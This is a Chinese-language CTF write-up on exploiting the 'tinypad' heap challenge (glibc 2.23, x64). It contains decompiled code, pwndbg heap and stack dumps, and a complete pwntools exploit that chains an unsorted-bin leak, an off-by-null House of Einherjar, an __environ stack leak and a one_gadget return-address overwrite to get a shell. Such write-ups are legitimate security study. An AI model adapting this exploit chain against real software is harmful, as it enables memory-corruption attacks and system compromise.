0%

House Of Einherjar-2.23-64

tinypad

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
➜  [/home/ywhkkx/桌面] ./tinypad 

============================================================================
// _|_|_|_|_| _|_|_| _| _| _| _| _|_|_| _|_| _|_|_| \\
|| _| _| _|_| _| _| _| _| _| _| _| _| _| ||
|| _| _| _| _| _| _| _|_|_| _|_|_|_| _| _| ||
|| _| _| _| _|_| _| _| _| _| _| _| ||
\\ _| _|_|_| _| _| _| _| _| _| _|_|_| //
============================================================================

+------------------------------------------------------------------------------+

# INDEX: 1
# CONTENT:

+------------------------------------------------------------------------------+

# INDEX: 2
# CONTENT:

+------------------------------------------------------------------------------+

# INDEX: 3
# CONTENT:

+------------------------------------------------------------------------------+

# INDEX: 4
# CONTENT:

+- MENU -----------------------------------------------------------------------+
| [A] Add memo |
| [D] Delete memo |
| [E] Edit memo |
| [Q] Quit |
+------------------------------------------------------------------------------+
(CMD)>>>
1
2
3
4
5
6
7
8
tinypad: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1333a912c440e714599a86192a918178f187d378, not stripped

[*] '/home/ywhkkx/桌面/tinypad'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位,Full RELRO,开了cancay,开了NX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
int choice; // eax
int v5; // eax
__int64 len; // rax
unsigned __int64 len_data; // rax
int c; // [rsp+4h] [rbp-1Ch] BYREF
int i; // [rsp+8h] [rbp-18h]
int index; // [rsp+Ch] [rbp-14h]
int v12; // [rsp+10h] [rbp-10h]
int size; // [rsp+14h] [rbp-Ch]
unsigned __int64 v14; // [rsp+18h] [rbp-8h]

v14 = __readfsqword(0x28u);
v12 = 0;
write_n((__int64)&leak_addr, 1uLL);
write_n(
(__int64)" ============================================================================\n"
"// _|_|_|_|_| _|_|_| _| _| _| _| _|_|_| _|_| _|_|_| \\\\\n"
"|| _| _| _|_| _| _| _| _| _| _| _| _| _| ||\n"
"|| _| _| _| _| _| _| _|_|_| _|_|_|_| _| _| ||\n"
"|| _| _| _| _|_| _| _| _| _| _| _| ||\n"
"\\\\ _| _|_|_| _| _| _| _| _| _| _|_|_| //\n"
" ============================================================================\n",
0x233uLL);
write_n((__int64)&leak_addr, 1uLL);
do
{
for ( i = 0; i <= 3; ++i )
{
LOBYTE(c) = i + 49; // ASCII:1,2,3,4
writeln((__int64)"+------------------------------------------------------------------------------+\n", 81LL);
write_n((__int64)" # INDEX: ", 0xCuLL);
writeln((__int64)&c, 1LL);
write_n((__int64)" # CONTENT: ", 0xCuLL);
if ( *(_QWORD *)&chunk_list[16 * i + 264] )
{
v3 = strlen(*(const char **)&chunk_list[16 * i + 264]);
writeln(*(_QWORD *)&chunk_list[16 * i + 264], v3);
}
writeln((__int64)&leak_addr, 1LL);
}
index = 0;
choice = getcmd();
v12 = choice;
if ( choice == 'D' ) // Delete memo
{
write_n((__int64)"(INDEX)>>> ", 0xBuLL);
index = read_int();
if ( index <= 0 || index > 4 ) // index范围是:1,2,3
{
LABEL_29:
writeln((__int64)"Invalid index", 13LL);
continue;
}
if ( !*(_QWORD *)&chunk_list[16 * index + 240] )
{
LABEL_31:
writeln((__int64)"Not used", 8LL);
continue;
}
free(*(void **)&chunk_list[16 * index + 248]);
*(_QWORD *)&chunk_list[16 * index + 240] = 0LL;// 置空了size,没有置空指针
writeln((__int64)"\nDeleted.", 9LL);
}
else if ( choice > 'D' )
{
if ( choice != 'E' )
{
if ( choice == 'Q' )
continue;
LABEL_41:
writeln((__int64)"No such a command", 17LL);
continue;
}
write_n((__int64)"(INDEX)>>> ", 0xBuLL); // Edit memo
index = read_int();
if ( index <= 0 || index > 4 )
goto LABEL_29;
if ( !*(_QWORD *)&chunk_list[16 * index + 240] )
goto LABEL_31;
c = 48;
strcpy(chunk_list, *(const char **)&chunk_list[16 * index + 248]);// 把数据复制到chunk_list首位
while ( toupper(c) != 'Y' ) // 只要不Y就可以一直修改
{
write_n((__int64)"CONTENT: ", 9uLL); // 输出数据,也许可以利用这里来leak
len = strlen(chunk_list);
writeln((__int64)chunk_list, len);
write_n((__int64)"(CONTENT)>>> ", 0xDuLL);
len_data = strlen(*(const char **)&chunk_list[16 * index + 248]);
read_until((__int64)chunk_list, len_data, 0xAu);
writeln((__int64)"Is it OK?", 9LL);
write_n((__int64)"(Y/n)>>> ", 9uLL);
read_until((__int64)&c, 1uLL, 0xAu);
}
strcpy(*(char **)&chunk_list[16 * index + 248], chunk_list);// 复制回去
writeln((__int64)"\nEdited.", 8LL);
}
else
{
if ( choice != 65 ) // Add memo
goto LABEL_41;
while ( index <= 3 && *(_QWORD *)&chunk_list[16 * index + 256] )// 只要chunk_list中有数据,它就跳过
++index;
if ( index == 4 )
{
writeln((__int64)"No space is left.", 17LL);
}
else
{
size = -1;
write_n((__int64)"(SIZE)>>> ", 0xAuLL);
size = read_int();
if ( size <= 0 ) // size不能为负
{
v5 = 1;
}
else
{
v5 = size;
if ( (unsigned __int64)size > 0x100 ) // size不能超过0x100
v5 = 256;
}
size = v5;
*(_QWORD *)&chunk_list[16 * index + 256] = v5;
*(_QWORD *)&chunk_list[16 * index + 264] = malloc(size);// malloc
if ( !*(_QWORD *)&chunk_list[16 * index + 264] )
{
writerrln("[!] No memory is available.", 27LL);
exit(-1);
}
write_n((__int64)"(CONTENT)>>> ", 0xDuLL);
read_until(*(_QWORD *)&chunk_list[16 * index + 264], size, 0xAu);// 写入内容
writeln((__int64)"\nAdded.", 7LL);
}
}
}
while ( v12 != 81 ); // quit
return 0;
}

代码量很大,而且很杂

入侵思路

这个程序的释放模块有很明显的漏洞:

1
2
free(*(void **)&chunk_list[16 * index + 248]);
*(_QWORD *)&chunk_list[16 * index + 240] = 0LL;

发现程序置空了 size ,却没有置空指针,可以打 unsortedbin leak

1
2
3
4
5
6
add(0xe0, "A"*0xe0)
add(0xf0, "B"*0xf0)
add(0x100, "C"*0x100)
add(0x100, "D"*0x100) # 因为后面"chunk4->size"会被覆盖低位,所以这里只能为0x100
delete(3) # 注意:这里要先释放后申请的chunk,不然程序不会打印(不知道原因)
delete(1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
pwndbg> x/20xg 0x19a4000 
0x19a4000: 0x0000000000000000 0x00000000000000f1 // chunk1(free)
0x19a4010: 0x00000000019a41f0 0x00007f763bf5db78
0x19a4020: 0x4141414141414141 0x4141414141414141
0x19a4030: 0x4141414141414141 0x4141414141414141
0x19a4040: 0x4141414141414141 0x4141414141414141
0x19a4050: 0x4141414141414141 0x4141414141414141
0x19a4060: 0x4141414141414141 0x4141414141414141
0x19a4070: 0x4141414141414141 0x4141414141414141
0x19a4080: 0x4141414141414141 0x4141414141414141
0x19a4090: 0x4141414141414141 0x4141414141414141
0x19a40a0: 0x4141414141414141 0x4141414141414141
0x19a40b0: 0x4141414141414141 0x4141414141414141
0x19a40c0: 0x4141414141414141 0x4141414141414141
0x19a40d0: 0x4141414141414141 0x4141414141414141
0x19a40e0: 0x4141414141414141 0x4141414141414141
0x19a40f0: 0x00000000000000f0 0x0000000000000100 // chunk2(allocated)
0x19a4100: 0x4242424242424242 0x4242424242424242
0x19a4110: 0x4242424242424242 0x4242424242424242
0x19a4120: 0x4242424242424242 0x4242424242424242
0x19a4130: 0x4242424242424242 0x4242424242424242
0x19a4140: 0x4242424242424242 0x4242424242424242
0x19a4150: 0x4242424242424242 0x4242424242424242
0x19a4160: 0x4242424242424242 0x4242424242424242
0x19a4170: 0x4242424242424242 0x4242424242424242
0x19a4180: 0x4242424242424242 0x4242424242424242
0x19a4190: 0x4242424242424242 0x4242424242424242
0x19a41a0: 0x4242424242424242 0x4242424242424242
0x19a41b0: 0x4242424242424242 0x4242424242424242
0x19a41c0: 0x4242424242424242 0x4242424242424242
0x19a41d0: 0x4242424242424242 0x4242424242424242
0x19a41e0: 0x4242424242424242 0x4242424242424242
0x19a41f0: 0x0000000000000000 0x0000000000000111 // chunk3(free)
0x19a4200: 0x00007f763bf5db78 0x00000000019a4000
0x19a4210: 0x4343434343434343 0x4343434343434343
0x19a4220: 0x4343434343434343 0x4343434343434343
0x19a4230: 0x4343434343434343 0x4343434343434343
0x19a4240: 0x4343434343434343 0x4343434343434343
0x19a4250: 0x4343434343434343 0x4343434343434343
0x19a4260: 0x4343434343434343 0x4343434343434343
0x19a4270: 0x4343434343434343 0x4343434343434343
0x19a4280: 0x4343434343434343 0x4343434343434343
0x19a4290: 0x4343434343434343 0x4343434343434343
0x19a42a0: 0x4343434343434343 0x4343434343434343
0x19a42b0: 0x4343434343434343 0x4343434343434343
0x19a42c0: 0x4343434343434343 0x4343434343434343
0x19a42d0: 0x4343434343434343 0x4343434343434343
0x19a42e0: 0x4343434343434343 0x4343434343434343
0x19a42f0: 0x4343434343434343 0x4343434343434343
0x19a4300: 0x0000000000000110 0x0000000000000110 // chunk4(allocated)
0x19a4310: 0x4444444444444444 0x4444444444444444
0x19a4320: 0x4444444444444444 0x4444444444444444
0x19a4330: 0x4444444444444444 0x4444444444444444
0x19a4340: 0x4444444444444444 0x4444444444444444
0x19a4350: 0x4444444444444444 0x4444444444444444
0x19a4360: 0x4444444444444444 0x4444444444444444
0x19a4370: 0x4444444444444444 0x4444444444444444
0x19a4380: 0x4444444444444444 0x4444444444444444
0x19a4390: 0x4444444444444444 0x4444444444444444
0x19a43a0: 0x4444444444444444 0x4444444444444444
0x19a43b0: 0x4444444444444444 0x4444444444444444
0x19a43c0: 0x4444444444444444 0x4444444444444444
0x19a43d0: 0x4444444444444444 0x4444444444444444
0x19a43e0: 0x4444444444444444 0x4444444444444444
0x19a43f0: 0x4444444444444444 0x4444444444444444
0x19a4400: 0x4444444444444444 0x4444444444444444
0x19a4410: 0x0000000000000000 0x0000000000020bf1

可以获取 libc_base 和 heap_addr 了:

1
2
3
4
5
6
p.recvuntil('NDEX: 3\n')
p.recvuntil('# CONTENT: ')
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-0x3c4b78
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

程序还有一个漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 __fastcall read_until(__int64 a1, unsigned __int64 size, unsigned int xa)
{
unsigned __int64 i; // [rsp+28h] [rbp-18h]
signed __int64 n; // [rsp+30h] [rbp-10h]

for ( i = 0LL; i < size; ++i )
{
n = read_n(0, (__int64 *)(a1 + i), 1uLL);
if ( n < 0 )
return -1LL;
if ( !n || *(char *)(a1 + i) == xa )
break;
}
*(_BYTE *)(a1 + i) = 0; // off by one
if ( i == size && *(_BYTE *)(size - 1 + a1) != 10 )
dummyinput(xa); // 可能有洞
return i;
}

又是经典的置空末尾“\n”,造成了 off-by-null

  • 有 off-by-null 可以置空下一个chunk的P位
  • 修改模块可以控制 chunk_list 这一大片区域,伪造 fake_size 绰绰有余
  • 最后一个chunk的“presize”直接作为相邻上一个chunk的数据区,完全可以控制

可以考虑打 House Of Einherjar 了:伪造“lastchunk-presize”,溢出“\x00”到“lastchunk->size”

1
2
3
4
5
6
7
8
9
10
11
chunk_list_addr=0x602040
chunk2_addr=heap_addr+0xf0
offset=chunk2_addr-chunk_list_addr
# 和House Of Force不同,House Of Einherjar是利用"合并机制"向上合并topchunk
# 所以offset常常为正('减数'和'被减数'对调)
success('chunk_list_addr >> '+hex(chunk_list_addr))
success('chunk2_addr >> '+hex(chunk2_addr))
success('offset >> '+hex(offset))

add(0xe8, "g"*(0xe8-0x8) + p64(offset)) # 为了申请到chunk1,这里只能申请0xe8
delete(4) # 因为chunk3为free状态,释放chunk4会导致chunk3和chunk4进入topchunk,使chunk2成为“最后一个chunk”(来打House Of Einherjar)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x/20xg 0x1993000
0x1993000: 0x0000000000000000 0x00000000000000f1
0x1993010: 0x6767676767676767 0x6767676767676767
0x1993020: 0x6767676767676767 0x6767676767676767
0x1993030: 0x6767676767676767 0x6767676767676767
0x1993040: 0x6767676767676767 0x6767676767676767
0x1993050: 0x6767676767676767 0x6767676767676767
0x1993060: 0x6767676767676767 0x6767676767676767
0x1993070: 0x6767676767676767 0x6767676767676767
0x1993080: 0x6767676767676767 0x6767676767676767
0x1993090: 0x6767676767676767 0x6767676767676767
0x19930a0: 0x6767676767676767 0x6767676767676767
0x19930b0: 0x6767676767676767 0x6767676767676767
0x19930c0: 0x6767676767676767 0x6767676767676767
0x19930d0: 0x6767676767676767 0x6767676767676767
0x19930e0: 0x6767676767676767 0x6767676767676767
0x19930f0: 0x00000000013910b0 0x0000000000000100 // offset(0x19930f0-0x602040)

伪造 fakechunk -> presizesize,size,FD,BK,FD_next,BK_next :

1
2
3
4
payload = p64(0x100) + p64(offset)
payload += p64(chunk_list_addr) * 4 # fakechunk为largechunk,会启用FDsize,BKsize
edit(2, payload)
delete(2)
1
2
3
4
5
6
pwndbg> x/20xg 0x602040
0x602040 <tinypad>: 0x0000000000000100 0x0000000000c710b0
0x602050 <tinypad+16>: 0x0000000000602040 0x0000000000602040
0x602060 <tinypad+32>: 0x0000000000602040 0x0000000000602040
0x602070 <tinypad+48>: 0x4242424242424200 0x4242424242424242
0x602080 <tinypad+64>: 0x4242424242424242 0x4242424242424242

下一个 chunk 就会申请到“0x602040”,以后的区域都是可以控制的,刚好可以控制 chunk1(即使不能控制 chunk1 也可以多次申请,直到控制 chunkn 为止)

接下来有两种主流打法:

  • 劫持 GOT
  • 劫持 hook

因为程序开了 Full RELRO ,GOT不可写,所以不能GOT劫持

我当时打 hook 的时候发现“修改模块”始终复制不上字符串,最后发现原因了:

1
2
len_data = strlen(*(const char **)&chunk_list[16 * index + 248]); 
read_until((__int64)chunk_list, len_data, 0xAu);

“chunk_list[16 * index + 248]” 中是真实存在数据的,所以 len_data 有值

但是把这里覆盖为 hook_free 后,len_data 就变为“0”了,导致 read_until 读不了数据

遇到这个问题,网上有两种解决办法:

  • 通过 全局变量__environ 泄露栈地址,把 one_get 复制到返回地址上
  • 在 malloc_hook 前面寻找有数据的地址,利用它们来欺骗 strlen

这里采用第一种方法(第二种方法还没有研究明白)

在 libc 中有一个全局变量__environ,储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址,所以可以控制rip了

1
2
3
4
5
6
7
8
9
payload = p64(0xe8) + p64(libc_base + libc.symbols["__environ"])
payload += p64(0xe8) + p64(0x602148)
add(0xe0, "t"*0xe0)
add(0x100, payload)

p.readuntil("# CONTENT: ")
stack = p.read(6).ljust(8,'\x00')
stack_env = u64(stack)
success("env_stack address: " + hex(stack_env))
1
[+] env_stack address: 0x7ffe177c5a98

在 GDB 中查看 main 的返回地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> stack 50
00:0000│ rsp 0x7ffe177c58b8 —▸ 0x400ed9 (_read_n+112) ◂— mov qword ptr [rbp - 0x10], rax
01:00080x7ffe177c58c0 ◂— 0x4
02:00100x7ffe177c58c8 ◂— 0x1
03:00180x7ffe177c58d0 —▸ 0x7ffe177c5964 ◂— 0x338cf40000000000
04:00200x7ffe177c58d8 —▸ 0x400fad (_write_n+112) ◂— mov qword ptr [rbp - 0x10], rax
05:00280x7ffe177c58e0 —▸ 0x401a29 ◂— or al, byte ptr [rax] /* '\n' */
06:00300x7ffe177c58e8 ◂— 0x0
07:00380x7ffe177c58f0 —▸ 0x4018d8 (prompt_cmd) ◂— sub byte ptr [rbx + 0x4d], al /* '(CMD)>>> ' */
08:00400x7ffe177c58f8 ◂— 0x2695b83a338cf400
09:0048│ rbp 0x7ffe177c5900 —▸ 0x7ffe177c5950 —▸ 0x7ffe177c5970 —▸ 0x7ffe177c59a0 —▸ 0x401370 (__libc_csu_init) ◂— ...
0a:00500x7ffe177c5908 —▸ 0x401100 (read_until+73) ◂— mov qword ptr [rbp - 0x10], rax
0b:00580x7ffe177c5910 ◂— 9 /* '\t' */
0c:00600x7ffe177c5918 ◂— 0xa338cf400
0d:00680x7ffe177c5920 ◂— 0x1
0e:00700x7ffe177c5928 —▸ 0x7ffe177c5964 ◂— 0x338cf40000000000
0f:00780x7ffe177c5930 ◂— 9 /* '\t' */
10:00800x7ffe177c5938 ◂— 0x0
11:00880x7ffe177c5940 —▸ 0x7ffe177c5970 —▸ 0x7ffe177c59a0 —▸ 0x401370 (__libc_csu_init) ◂— push r15
12:00900x7ffe177c5948 ◂— 0x2695b83a338cf400
13:00980x7ffe177c5950 —▸ 0x7ffe177c5970 —▸ 0x7ffe177c59a0 —▸ 0x401370 (__libc_csu_init) ◂— push r15
14:00a0│ 0x7ffe177c5958 —▸ 0x400832 (getcmd+92) ◂— mov esi, 1
15:00a8│ rsi-4 0x7ffe177c5960 ◂— 0x2
16:00b0│ 0x7ffe177c5968 ◂— 0x2695b83a338cf400
17:00b8│ 0x7ffe177c5970 —▸ 0x7ffe177c59a0 —▸ 0x401370 (__libc_csu_init) ◂— push r15
18:00c0│ 0x7ffe177c5978 —▸ 0x4009c1 (main+350) ◂— mov dword ptr [rbp - 0x10], eax
19:00c8│ 0x7ffe177c5980 ◂— 0x3400401370
1a:00d0│ 0x7ffe177c5988 ◂— 0x4
1b:00d8│ 0x7ffe177c5990 ◂— 0x10000000041 /* 'A' */
1c:00e00x7ffe177c5998 ◂— 0x2695b83a338cf400
1d:00e80x7ffe177c59a0 —▸ 0x401370 (__libc_csu_init) ◂— push r15
1e:00f0│ 0x7ffe177c59a8 —▸ 0x7f6d91c1c840 (__libc_start_main+240) ◂— mov edi, eax // target
1f:00f8│ 0x7ffe177c59b0 ◂— 0x1

计算偏移:

1
2
In [6]: 0x7ffe177c59a8-0x7ffe177c5a98
Out[6]: -240

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import*

p=process('./tinypad')
elf=ELF('./tinypad')
libc = ELF('./libc-2.23.so')

def add(size,content):
p.recvuntil('(CMD)>>> ')
p.sendline('a')
p.recvuntil('(SIZE)>>> ')
p.sendline(str(size))
p.recvuntil('(CONTENT)>>> ')
p.sendline(content)

def delete(index):
p.recvuntil('(CMD)>>> ')
p.sendline('d')
p.recvuntil('(INDEX)>>> ')
p.sendline(str(index))

def edit(index,content):
p.recvuntil('(CMD)>>> ')
p.sendline('e')
p.recvuntil('(INDEX)>>> ')
p.sendline(str(index))
p.recvuntil('CONTENT: ')
p.recvuntil('(CONTENT)>>> ')
p.sendline(content)
p.recvuntil('(Y/n)>>> ')
p.sendline('y')

add(0xe0, "A"*0xe0)
add(0xf0, "B"*0xf0)
add(0x100, "C"*0x100)
add(0x100, "D"*0x100)
delete(3)
delete(1)

p.recvuntil('NDEX: 1\n')
p.recvuntil('# CONTENT: ')
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
heap_addr=leak_addr-0x1f0

p.recvuntil('NDEX: 3\n')
p.recvuntil('# CONTENT: ')
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-0x3c4b78
success('heap_addr >> '+hex(heap_addr))
success('libc_base >> '+hex(libc_base))

chunk_list_addr=0x602040
chunk2_addr=heap_addr+0xf0
offset=chunk2_addr-chunk_list_addr
success('chunk_list_addr >> '+hex(chunk_list_addr))
success('chunk2_addr >> '+hex(chunk2_addr))
success('offset >> '+hex(offset))

add(0xe8, "g"*(0xe8-0x8) + p64(offset))
delete(4)

payload = p64(0x100) + p64(offset)
payload += p64(chunk_list_addr)*4
edit(2, payload)
delete(2)

gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
gadget_addr = libc_base + gadget[3]
malloc_hook = libc_base + libc.sym['__malloc_hook']
success('malloc_hook >> '+hex(malloc_hook))

payload = p64(0xe8) + p64(libc_base + libc.symbols["__environ"])
payload += p64(0xe8) + p64(0x602148)
add(0xe0, "t"*0xe0)
add(0x100, payload)

p.readuntil("# CONTENT: ")
stack = p.read(6).ljust(8,'\x00')
stack_env = u64(stack)
success("env_stack address: " + hex(stack_env))
pause()
edit(2, p64(stack_env-240))
edit(1, p64(gadget_addr))
p.readuntil("(CMD)>>>")
p.sendline("Q")

p.interactive()

house of einherjar 小结(2.23-64位)

house of Einherjar 的核心在于 top chunk 合并,如果一个程序有 off-by-null,并且某片区域可以控制,那么就可以通过 house of einherjar 把 top chunk 合并到那里去

特点归纳如下:

  • 需要 off-by-one 漏洞(用于覆盖 last chunk->size 的P位为“0”)
  • 需要一片可以控制的区域(用于伪造“fake chunk->presize,size,FD,BK,FDsize,BKsize”)

在决定打 house of einherjar 后,要多注意最后一个chunk,和倒数第二个chunk,有时可以通过释放后面的chunk,来把我们“布置”好的chunk变为 last chunk

对于本题目而言,libc-2.27版本是打不通的,因为绕 cache 需要释放7个chunk来填满 cache,但是本题目只允许同时存在 4 个chunk,所以测试不了 libc-2.27版本 对 house of einherjar 的影响了

另外我还学到了一种泄露栈地址的技术:Environ Leak